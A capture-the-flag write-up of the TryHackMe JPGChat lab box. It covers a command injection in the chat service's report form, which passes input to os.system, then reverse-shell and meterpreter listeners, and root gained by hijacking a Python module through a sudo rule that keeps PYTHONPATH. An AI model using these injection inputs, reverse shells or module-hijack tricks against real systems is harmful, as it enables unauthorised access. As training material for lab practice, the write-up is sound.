THM JPGChat Writeup

writeups@centraliowacybersec.com

THM JPGChat Thoughts

https://tryhackme.com/room/jpgchat

This was a python heavy box that was decently challenging. I had to seek a little nudge but overall it was a great box. This was my third box and it is late so there may be mistakes. Please let me know if there are any!

Table of contents

1. Skills needed and skills learned

2. High Overview

This box was unique in the sense that it had no traditional open ports. Just a badly coded chat bot that didn't really do anything but report. You need to break out of the os.system module to get a user level shell. It's important to stabilize this shell as it was very unstable on it's own. I moved to a meterpreter shell and started privesc enumeration. I tried linpeas and exploit suggester with no luck. I eventually found the files in the /opt folder and started enumerating those. I had checked sudo -l and saw that I could run the code in /opt as root. I was also able to modify the python environmentment variable which let me make my own malicious compare module to gain root access.

Technical Overview

Everything below is a step by step guide on my methods attempted and used, my thought processes and exactly what I did to root the machine.

3. Nmap Enumeration

3.1. sudo nmap -T4 -p- -v jpgchat.thm

```
PORT     STATE SERVICE
22/tcp   open  ssh
3000/tcp open  ppp
```

3.2. sudo nmap -T4 -p22,3000 -A -sC -sV -v jpgchat.thm

```
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol
| ssh-hostkey:
|   2048 fe:cc:3e:20:3f:a2:f8:09:6f:2c:a3:af:fa:32:9c:94 (RSA)
|   256 e8:18:0c:ad:d0:63:5f:9d:bd:b7:84:b8:ab:7e:d1:97 (ECDSA)
|_  256 82:1d:6b:ab:2d:04:d5:0b:7a:9b:ee:f4:64:b5:7f:64 (ED25519)
3000/tcp open  ppp?
| fingerprint-strings:
|   GenericLines, NULL:
|     Welcome to JPChat
|     source code of this service can be found at our admin's github
|     MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
|_    REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
1 service unrecognized despite returning data. If you know the service/version,
rint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.92%I=7%D=11/26%Time=61A172F0%P=x86_64-pc-linux-gnu%r(N
SF:ULL,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20this\x2
SF:0service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github\nMESSA
SF:GE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(current
SF:ly\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x20to\x2
SF:0report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n")%r(Ge
SF:nericLines,E2,"Welcome\x20to\x20JPChat\nthe\x20source\x20code\x20of\x20
SF:this\x20service\x20can\x20be\x20found\x20at\x20our\x20admin's\x20github
SF:\nMESSAGE\x20USAGE:\x20use\x20\[MESSAGE\]\x20to\x20message\x20the\x20\(
SF:currently\)\x20only\x20channel\nREPORT\x20USAGE:\x20use\x20\[REPORT\]\x
SF:20to\x20report\x20someone\x20to\x20the\x20admins\x20\(with\x20proof\)\n
SF:");
Warning: OSScan results may be unreliable because we could not find at least 1
Aggressive OS guesses: Linux 3.10 - 3.13 (95%), ASUS RT-N56U WAP (Linux 3.4) (9
%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.
d 5.0) (92%), Android 5.0 - 6.0.1 (Linux 3.4) (92%), Android 7.1.1 - 7.1.2 (92%
No exact OS matches for host (test conditions non-ideal).
Uptime guess: 0.004 days (since Fri Nov 26 18:45:38 2021)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=264 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 80/tcp)
HOP RTT       ADDRESS
1   64.17 ms  10.2.0.1
2    ... 3
4   202.53 ms jpgchat.thm (10.10.3.48)
```

4. Service Enumeration

4.1. There was only one service so I started with the chat service.

4.2. I found the source code on github by googling jpgchat github.

4.2.1. https://github.com/Mozzie-jpg/JPChat/blob/main/jpchat.py

```
#!/usr/bin/env python3

import os

print ('Welcome to JPChat')
print ('the source code of this service can be found at our admin\'s github')

def report_form():

        print ('this report will be read by Mozzie-jpg')
        your_name = input('your name:\n')
        report_text = input('your report:\n')
        os.system("bash -c 'echo %s > /opt/jpchat/logs/report.txt'" % your_name)
        os.system("bash -c 'echo %s >> /opt/jpchat/logs/report.txt'" % report_text)

def chatting_service():

        print ('MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel')
        print ('REPORT USAGE: use [REPORT] to report someone to the admins (with proof)')
        message = input('')

        if message == '[REPORT]':
                report_form()
        if message == '[MESSAGE]':
                print ('There are currently 0 other users logged in')
                while True:
                        message2 = input('[MESSAGE]: ')
                        if message2 == '[REPORT]':
                                report_form()

chatting_service()
```

4.3. I opened the service to start enumerating how it worked as well.

```
┌──(kali㉿kali)-[~]
└─$ nc jpgchat.thm 3000

Welcome to JPChat
the source code of this service can be found at our admin's github
MESSAGE USAGE: use [MESSAGE] to message the (currently) only channel
REPORT USAGE: use [REPORT] to report someone to the admins (with proof)
```

4.4. I poked for quite a while but finally figured out how to get RCE on the device.

```
[MESSAGE]: [REPORT]
this report will be read by Mozzie-jpg
your name:
test; hostname;
your report:
test; ls -la /home;
test
ubuntu-xenial
test
total 12
drwxr-xr-x  3 root root 4096 Jan 15  2021 .
drwxr-xr-x 25 root root 4096 Nov 27 00:43 ..
drwxr-xr-x  2 wes  wes  4096 Jan 15  2021 wes
```

4.5. From here I started a listener to get a remote shell.

```
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443
[sudo] password for kali:
listening on [any] 443 ...
```

```
┌──(kali㉿kali)-[~]
└─$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.2.21.245] from (UNKNOWN) [10.10.3.48] 36134
bash: cannot set terminal process group (1882): Inappropriate ioctl for device
bash: no job control in this shell
wes@ubuntu-xenial:/$ whoami
whoami
wes
wes@ubuntu-xenial:/$ ls -la /home/wes
ls -la /home/wes
total 24
drwxr-xr-x 2 wes  wes  4096 Jan 15  2021 .
drwxr-xr-x 3 root root 4096 Jan 15  2021 ..
-rw------- 1 wes  wes     0 Jan 15  2021 .bash_history
-rw-r--r-- 1 wes  wes   220 Aug 31  2015 .bash_logout
-rw-r--r-- 1 wes  wes  3771 Aug 31  2015 .bashrc
-rw-r--r-- 1 wes  wes   655 Jul 12  2019 .profile
-rw-r--r-- 1 root root   38 Jan 15  2021 user.txt
wes@ubuntu-xenial:/$ whoami && hostname && ip a && cat /home/wes/user.txt
whoami && hostname && ip a && cat /home/wes/user.txt
wes
ubuntu-xenial
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group defau
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP g
    link/ether 02:10:10:7c:e5:3d brd ff:ff:ff:ff:ff:ff
    inet 10.10.3.48/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::10:10ff:fe7c:e53d/64 scope link
       valid_lft forever preferred_lft forever
JPC{[redacted]}
wes@ubuntu-xenial:/$
```

5. Privilege Escalation

5.1. Once on the box I upgraded the very unstable shell to a meterpreter shell and tried some automatic enumeration.

```
┌──(kali㉿kali)-[~]
└─$ msfconsole -q -x "use multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set lhost 10.
port 4444; exploit"
[*] Starting persistent handler(s)...
[*] Using configured payload generic/shell_reverse_tcp
payload ⇒ linux/x64/meterpreter/reverse_tcp
lhost ⇒ 10.2.21.245
lport ⇒ 4444
[*] Started reverse TCP handler on 10.2.21.245:4444
[*] Sending stage (3012548 bytes) to 10.10.40.4
[*] Meterpreter session 1 opened (10.2.21.245:4444 → 10.10.40.4:44040) at 2021-11-26 21:07:04 -0500
```

5.2. Linux Exploit Suggester

```
msf6 exploit(multi/handler) > search suggester

Matching Modules
================

   #  Name                                        Disclosure Date  Rank
   -  ----                                        ---------------  ----
   0  post/multi/recon/local_exploit_suggester                     normal


Interact with a module by name or index. For example info 0, use 0 or us

msf6 exploit(multi/handler) > use 0
msf6 post(multi/recon/local_exploit_suggester) > options

Module options (post/multi/recon/local_exploit_suggester):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   SESSION                           yes       The session to run this m
   SHOWDESCRIPTION  false            yes       Displays a detailed descr

msf6 post(multi/recon/local_exploit_suggester) > sessions

Active sessions
===============

  Id  Name  Type                   Information
  --  ----  ----                   -----------
  1         meterpreter x64/linux  wes @ ubuntu-xenial (uid=1001, gid=10
                                   1, euid=1001, egid=1001) @ 10.10.40.4

msf6 post(multi/recon/local_exploit_suggester) > set session 1
session => 1
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.10.40.4 - Collecting local exploits for x64/linux ...
[*] 10.10.40.4 - 40 exploit checks are being tried ...
[+] 10.10.40.4 - exploit/linux/local/bpf_sign_extension_priv_esc: The t
[+] 10.10.40.4 - exploit/linux/local/glibc_realpath_priv_esc: The targe
[+] 10.10.40.4 - exploit/linux/local/ptrace_traceme_pkexec_helper: The
[+] 10.10.40.4 - exploit/linux/local/sudo_baron_samedit: The target app
rable build.
[*] Post module execution completed
```

5.3. None of these worked so I moved onto linpeas.

```
wget 10.2.21.245/linpeas.sh
--2021-11-27 02:41:04--  http://10.2.21.245/linpeas.sh
Connecting to 10.2.21.245:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 477235 (466K) [text/x-sh]
Saving to: 'linpeas.sh'

     0K .......... .......... .......... .......... .......... 10%  122K 3s
    50K .......... .......... .......... .......... .......... 21%  241K 2s
   100K .......... .......... .......... .......... .......... 32% 9.44M 1s
   150K .......... .......... .......... .......... .......... 42%  254K 1s
   200K .......... .......... .......... .......... .......... 53% 4.42M 1s
   250K .......... .......... .......... .......... .......... 64% 4.89M 0s
   300K .......... .......... .......... .......... .......... 75% 7.63M 0s
   350K .......... .......... .......... .......... .......... 85%  240K 0s
   400K .......... .......... .......... .......... .......... 96% 4.62M 0s
   450K .......... ......                                     100% 9.19M=1.1s

2021-11-27 02:41:07 (437 KB/s) - 'linpeas.sh' saved [477235/477235]

wes@ubuntu-xenial:/tmp$ chmod 777 linpeas.sh
chmod 777 linpeas.sh
wes@ubuntu-xenial:/tmp$ ./linpeas.sh
./linpeas.sh
```

5.4. There was also nothing great from here so I poked around for a bit manually and found some interesting stuff in /opt

```
-rw-r--r-- 1 root root   93 Jan 15  2021 test_module.py
cat test_module.py
#!/usr/bin/env python3

from compare import *

print(compare.Str('hello', 'hello', 'hello'))
```

5.5. This file couldn't be edited or run by me but I checked sudo privs and had some more hope.

```
id
uid=1001(wes) gid=1001(wes) groups=1001(wes)
sudo -l
Matching Defaults entries for wes on ubuntu-xenial:
    mail_badpass, env_keep+=PYTHONPATH

User wes may run the following commands on ubuntu-xenial:
    (root) SETENV: NOPASSWD: /usr/bin/python3 /opt/development/test_module.py
```

5.6. I can run the file but couldn't run any direct module hijacking since the directory was locked down.

5.7. The sudo privs did however allow to to modify my python environment!

```
export PYTHONPATH=.:$PYTHONPATH
echo $PYTHONPATH]
.:]
ECHO $PYTHONPATH
/bin/sh: 61: ECHO: not found
echo $PYTHONPATH
.:
```

5.8. I modified that and then created a malicious compare.py file in /tmp

```
cat /tmp/compare.py
class compare:

        def Str(self, x, y,):
                x = str(x)
                y = str(y)

                if x == y:
                        return True;
                else:
                        return False;

        def Int(self, x, y,):
                x = int(x)
                y = int(y)

                if x == y:
                        return True;
                else:
                        return True;

        def Float(self, x, y,):
                x = float(x)
                y = float(y)

                if x == y:
                        return True;
                else:
                        return False;
import pty
pty.spawn("/bin/bash")
exit()
```

5.9. Once all this was setup I was ready to pop a root shell with:

5.9.1. sudo PYTHONPATH=/tmp /usr/bin/python3 /opt/development/test_module.py

```
whoami && hostname && ip a && cat /root/root.txt
root
ubuntu-xenial
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 02:48:fc:a0:9d:2d brd ff:ff:ff:ff:ff:ff
    inet 10.10.40.4/16 brd 10.10.255.255 scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::48:fcff:fea0:9d2d/64 scope link
       valid_lft forever preferred_lft forever
JPC{6[redacted]}
```